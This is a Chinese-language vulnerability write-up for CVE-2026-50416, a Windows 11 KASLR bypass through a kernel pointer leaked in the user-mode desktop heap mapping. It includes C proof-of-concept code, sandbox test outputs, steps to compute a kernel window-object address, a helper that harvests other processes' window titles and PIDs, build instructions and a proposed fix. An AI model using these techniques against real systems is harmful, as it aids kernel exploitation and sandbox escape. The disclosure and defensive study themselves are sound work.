CVE-2026-50416: Windows 11 KASLR 绕过
在 Windows 11 Insider 版本 10.0.28020.2149 上,Win32k 桌面堆的用户模式映射在偏移量 0x100 处暴露了一个原始的内核会话池指针。
这次读取本身小得几乎有些可笑:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
在我的测试会话中,该读取返回:
0xffffc600dcc00040
该值在同一桌面的不同进程间保持不变,并在重启后发生变化。在另一个桌面上启动的进程会收到不同的值,因为它拥有不同的桌面堆。仅凭这一个 QWORD,PoC 就恢复了内核桌面堆基址,然后利用 user32!gSharedInfo 推导出活动窗口对象的内核地址。
同样的读取在低完整性、AppContainer、零能力的 LPAC 配置以及零能力的低完整性 AppContainer 子进程中均能成功。
桌面堆本应是共享的。内核指针则不是。
Win32k 将窗口、菜单、类、钩子及相关元数据等 USER 对象存储在桌面堆中。每个桌面都有自己的堆。该堆的一部分会被映射到与该桌面关联的进程中,以便用户模式无需为每个字段询问内核即可读取共享的 GUI 状态。
在测试的 x64 版本上,可以通过当前线程的 TEB 客户端数据访问用户模式映射:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
偏移量因版本而异,但路径很简单:
GS:[0x30]
-> TEB
-> ClientInfo 位于 TEB + 0x800
-> ClientInfo[5]
-> 用户模式桌面堆映射
PoC 对返回的地址调用 VirtualQuery,并记录映射区域及其保护属性。到目前为止一切正常。只读的桌面堆映射是 Win32k 的正常行为。
问题出现在映射区域 256 字节之后。
主 PoC 从映射堆中读取一个 QWORD:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
该值通过了在测试系统上对内核虚拟地址的基本检查:
稳定性测试创建 STATIC、BUTTON 和 EDIT 窗口,在创建前读取该值,在窗口存在时再次读取,销毁窗口后第三次读取。
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
三次读取返回的值相同。窗口分配活动没有移动它。这种行为与桌面堆元数据中的字段一致,而非短生命周期对象的指针。
跨进程属性同样重要。附加到同一桌面的两个进程观察到相同的泄漏值,因为它们查看的是同一个桌面堆。重启后,KASLR 为会话分配了新地址。放置在另一个桌面上的子进程观察到另一个指针,因为该桌面拥有另一个堆。
这赋予了该泄漏一个有用的身份特征:
同一次启动 + 同一桌面 -> 相同指针
同一次启动 + 不同桌面 -> 不同指针
新启动 -> 不同指针
在测试版本上,泄漏的指针位于 PoC 使用的内核桌面堆基址上方 0x40 字节处:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
使用记录的会话值:
泄漏指针 = 0xffffc600dcc00040
内核桌面堆基址 = 0xffffc600dcc00000
这种关系因版本而异。对于测试期间使用的版本,它提供了下一步所需的内核侧锚点。
一个指针已经很有用。一个选定对象的地址则有用得多。
user32.dll 导出了 gSharedInfo,它暴露了 USER 句柄条目列表及每个条目的大小:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
一个 HWND 包含 USER 句柄表的索引。PoC 取句柄的低 16 位,遍历到匹配的条目,并读取存储在那里的桌面堆偏移量。
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
相同的偏移量在两个映射中标识同一个对象:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
因此完整的计算过程是:
内核桌面堆基址 = desktop_heap[0x100] - 0x40
句柄索引 = HWND & 0xffff
堆偏移量 = aheList[句柄索引].offset
内核窗口地址 = 内核桌面堆基址 + 堆偏移量
PoC 创建六个窗口类,并对每个类执行计算:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOX对于每个对象,它打印 HWND、句柄索引、用户模式对象地址、堆偏移量和内核地址。
HWND
-> 低 16 位句柄索引
-> gSharedInfo 句柄条目
-> 桌面堆偏移量
-> 内核桌面堆基址 + 偏移量
-> 该窗口对象的内核地址
这部分将披露从松散的内核指针转变为测试桌面堆上选定 USER 对象的地址预言机。
桌面堆通过共享映射到达。完整性级别和 AppContainer 限制不会为每个进程重写该映射的内容。如果进程收到桌面堆,它也会一并收到 0x100 处的 QWORD。
沙箱 PoC 在多种上下文中启动子进程,并让每个子进程从自己的 TEB 和自己的桌面堆映射中读取该值。
| 上下文 | 配置 | 结果 |
|---|---|---|
| 中完整性 | 标准用户进程 | 已泄漏 |
| 低完整性 | 令牌完整性降为低 | 已泄漏 |
| AppContainer | 零请求能力 | 已泄漏 |
| LPAC 配置 | 所有应用程序包选择退出策略,零请求能力 | 已泄漏 |
| 低完整性 AppContainer | 低 IL 加 AppContainer,零请求能力 | 已泄漏 |
| 备用桌面 | 子进程分配到新桌面 | 泄漏了不同的值 |
前五个子进程附加到默认桌面并返回相同的地址。备用桌面子进程返回另一个地址,因为它收到了另一个桌面堆。
子进程输出采用紧凑格式,以便父进程比较结果:
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234
更严格的辅助程序还记录令牌状态和能力计数:
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234
重要的细节不是子进程可以调用特殊的 Win32k API。它不需要。一旦映射存在,泄漏就是一次普通的用户模式内存读取。
另一个辅助程序在不调用 CreateWindow 的情况下执行读取。
它检查桌面堆指针,读取 desktop_heap[0x100],显式加载 user32.dll,再次检查映射,并且始终不创建窗口。另一个类似渲染器的子进程加载 user32.dll,执行相同的读取,并在不创建任何窗口的情况下退出。
有用的结果很直接:
在读取泄漏的 QWORD 之前,无需创建任何窗口对象。
泄漏属于桌面堆映射本身,而非攻击进程创建的窗口。
supporting_proof_remote_trigger.c 创建一个零请求能力的低完整性 AppContainer 子进程。该子进程只做少量工作:
LoadLibraryA("user32.dll");
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
记录的输出:
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated
这证明了从类似渲染器的令牌配置中进行读取。一个已经在该类进程中提供本机代码执行的独立浏览器内存损坏漏洞,在读取此桌面堆指针之前不需要另一个信息泄露。
一旦我有了可靠的指针,我就扫描了映射区域,看看还有什么其他内容。
扫描器每次运行发现六到十个额外的唯一 QWORD 值,这些值通过了相同的规范地址和对齐检查。确切数量随桌面活动而变化。偏移量 0x100 是稳定的主要泄漏,但它不是映射中唯一具有内核地址形态的值。
敏感数据辅助程序使用 EnumWindows 枚举顶层窗口,收集其所属 PID 和标题,然后在桌面堆映射中搜索相同的标题作为 UTF-16 字符串。
在记录的运行中,它发现了属于其他进程的二十个唯一标题。示例包括浏览器标签页、Discord、Explorer、Spotify 和系统托盘窗口。
程序仅在两个条件都成立时才打印标题:
EnumWindows 报告一个具有该标题且所属 PID 与测试进程不同的窗口。这使得输出易于验证,而不是依赖在内存中发现的随机可打印字符串。
辅助程序还扫描映射中的 DWORD 值。仅当满足以下条件时才计数一个值:
OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) 对其成功。EnumWindows 找到的窗口。记录的运行发现了 605 个匹配的 DWORD 出现。这是堆中出现的次数,而非 605 个唯一进程。同一个 PID 可以出现多次。
辅助程序创建一个带 ES_PASSWORD 的 EDIT 控件,将其文本设置为 SecretPassword123,并在映射区域中搜索 SecretP 前缀。在测试运行中未找到。
因此,映射暴露了标题、PID 出现和内核形态的值,而测试的密码字符串没有出现在那里。
对于 Win32k 内存损坏漏洞,知道对象存在与知道它在内核内存中的位置是不同的。
没有该披露,攻击者必须处理未知的桌面堆基址和未知的对象地址。有了该披露,地址侧变为:
读取一个 QWORD
减去 0x40
读取目标句柄条目
加上其堆偏移量
对于选定的 HWND,攻击者现在在测试版本上拥有了对应的内核桌面堆地址。这有助于:
该泄漏解决了地址问题。堆整形、对象替换和内存损坏原语仍然是利用的独立部分。
这种划分很重要。KASLR 不会阻止内存损坏。它使可靠的目标定位更加困难。这个 QWORD 消除了 PoC 使用的桌面堆区域的不确定性。
Windows 11 Insider Build 10.0.28020.2149
标准用户
中完整性基线
kaslr_bypass_poc.c:主泄漏和窗口地址解析 PoCkaslr_sandbox_proof.c:中 IL、低 IL、AppContainer、LPAC 配置、低 IL AppContainer 和备用桌面测试supporting_proof_no_window.c:不创建窗口的读取supporting_proof_no_caps_lpac.c:零能力 AppContainer 和 LPAC 配置supporting_proof_sensitive_data.c:标题、PID 出现、额外指针扫描和密码字段检查supporting_proof_exploitability.c:六个窗口类和内核地址计算supporting_proof_remote_trigger.c:类似渲染器的低 IL AppContainer 子进程compile.bat:构建菜单运行:
compile.bat
从菜单中选择目标。
主 PoC 也可以直接从 Visual Studio 开发者命令提示符编译:
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib
不重启运行主 PoC 两次:
kaslr_bypass_poc.exe
kaslr_bypass_poc.exe
desktop_heap + 0x100 处的指针在两次运行中应相同。
打开第二个终端,从同一桌面的另一个进程运行它。该值应再次匹配。
重启并重复。该值应发生变化。
kaslr_sandbox_proof.exe
该测试启动每个子进程,捕获其输出,并比较泄漏值。默认桌面上的子进程应报告相同的值。备用桌面子进程应报告不同的值。
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe
每个辅助程序隔离结果的一个部分,以便无需通读完整 PoC 的输出即可复现。
用户模式映射不应包含原始的内核虚拟地址。
最小的修复是在页面在用户模式中可见之前清理桌面堆头字段。Windows 已经对其他桌面堆指针字段使用不透明的 0x6000000000 值,因此如果用户模式仍然需要该字段,可以在此处使用相同风格的替换。
如果用户模式不需要头页面,更干净的修复是不在共享映射中暴露该页面。
回归测试很简单:在中 IL、低 IL、AppContainer 和 LPAC 配置下创建进程,映射桌面堆,并拒绝在用户可见的头中找到的任何规范内核地址。
整个链条始于对只读映射的一次普通读取:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
该 QWORD 标识了内核桌面堆。gSharedInfo 提供每个对象的偏移量。两者结合,在测试版本上将用户模式 HWND 转换为对应的内核地址。
这里没有隐藏复杂的触发器。Windows 将桌面堆放在用户模式可以读取的位置,然后在共享的部分中留下了一个内核指针。
一个 QWORD 就足够了。